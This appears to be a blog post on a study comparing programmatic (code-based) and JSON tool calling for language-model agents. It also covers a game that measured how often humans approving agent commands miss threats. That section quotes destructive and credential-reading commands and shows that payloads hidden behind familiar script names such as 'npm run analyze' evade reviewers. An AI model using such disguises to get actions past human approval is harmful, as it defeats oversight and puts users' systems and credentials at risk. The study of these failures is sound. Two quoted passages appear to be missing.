Programmatic tool calling matched or beat JSON on 11 of 14 models

An arXiv paper published this week ran the comparison most agent builders have only argued about: programmatic tool calling (PTC) versus native JSON tool calling, across 14 language models, on BFCL v4. In the PTC setup, tools are not exposed as JSON schemas at all. They are exposed as typed Python stubs, the model invokes them by writing code, and execution plus results are handled inside a single agent turn.

The headline: PTC matched or exceeded native JSON tool calling in 11 of 14 models, with the GPT-5.6 family posting a 10.6% improvement over the JSON baseline. Under parallel fan-out conditions it matched or outperformed baseline in 13 of 14 models. And under context rot conditions, where the JSON baseline degraded 2.3% on average, the code path held stable.

That is a real result but not a blanket one. Three of fourteen models did not benefit. The framing in the paper is explicit that this extension applies to code-capable models — writing a script that chains and parallelizes calls is only cheaper than emitting JSON if the model is good at writing scripts. So the practical question is not "is PTC better" but "is my model in the 11, and is my task shaped like fan-out."

The substitution is narrow and worth being precise about. Native JSON tool calling asks the model to emit a structured object per call, one call at a time, with the harness looping between turns. PTC replaces that with typed Python stubs the model calls from inside generated code, and folds execution and result handling into one agent turn. Sequencing and parallelism become ordinary program structure — loops, variables, concurrent calls — instead of multi-turn negotiation with a schema validator.

It is also worth noting what you give up on the serving side. The JSON path is typically held to its schema by guided decoding, which modern inference engines support directly — vLLM's engine core carries a dedicated Structured Output Manager for exactly that purpose. Generated code has no equivalent guarantee that the output conforms to a declared shape. The paper's finding is that on BFCL v4 that tradeoff nets out positive for most models anyway.

Two of the three reported conditions point at the same mechanism. Parallel fan-out is where PTC posts its widest margin — 13 of 14 models matching or beating baseline, better than the 11 of 14 on the main evaluation. That is consistent with the paper's own explanation: scripts chain and parallelize naturally, where JSON calls are rigid. If your agent's hot path is "call this tool across twenty inputs and reduce," that is the shape the code path is built for.

The context rot result is the one I would weight most heavily for production. A 2.3% average degradation in the JSON baseline under long or polluted context, against a stable code path, is not a benchmark-leaderboard number — it is a description of what happens to a long-running agent session over hours. Collapsing multiple tool calls into a single turn means fewer round trips accumulating in the window, which is a plausible reason the code path resists the effect.

There is a second-order consequence the tool-calling paper does not cover. If your agent emits JSON calls, a human reviewer sees a discrete, named, argument-typed action. If your agent emits a Python script, the reviewer sees a program. Separate data published the same day suggests humans were already losing that review battle at the easier difficulty setting.

A browser game that put players in the human-in-the-loop seat collected 40,000 runs and 409,000 approve/deny decisions. Mean accuracy was 66.3% — the average player missed 1 in 3 threats. 32.9% of sessions ended with a negative score. 7% approved every single prompt. Miss rates broke down by category: 11.7% for obviously destructive commands like rm -rf /, but 33.4% for exfiltration and code execution, and 35.0% for scope violations like cat ~/.aws/credentials.

The single most-missed command was npm run analyze, approved 64.7% of the time — a command that is innocent by name and arbitrary shell execution in practice. The game showed the payload in the history log right above the prompt:

Two thirds approved it anyway. Pooled across the three npm-run threats, the miss rate was 52.5% against 28.4% for other exfiltration-style attacks — hiding a payload behind a familiar script name roughly doubled its success rate even with the payload visible. A commenter quoted in the writeup makes the structural point.

That critique cuts both ways for PTC. Per-command approval was already a weak safeguard because commands are ambiguous without context; a generated script is at least honest about being arbitrary code. But it also means the JSON schema's implicit safety property — a bounded, enumerable set of actions — is gone, and sandboxing has to carry the weight instead.

The evaluation is one benchmark. BFCL v4 under stated real-world task conditions is a reasonable proxy, but it is not your tool surface, and the paper's own framing is that a systematic evaluation of tools-as-code on an established benchmark across model generations had not previously been done. One study is a starting point, not a settled question.

The other thing to watch is the supply of code-capable agents. Separate work published the same day, CalibForge, synthesizes terminal tasks calibrated by adversarial solver feedback — 5,431 tasks — and reports models trained on the collection reaching 32.58% and 47.57% on Terminal-Bench 2.0, with the largest gains over base reaching 24.71 points there, 27.68 on SWE-bench Pro, and 30.04 on Doc2Repo. If code-and-terminal competence keeps improving at that rate, the population of models where PTC pays off grows, and the 11-of-14 figure becomes a floor rather than a ceiling.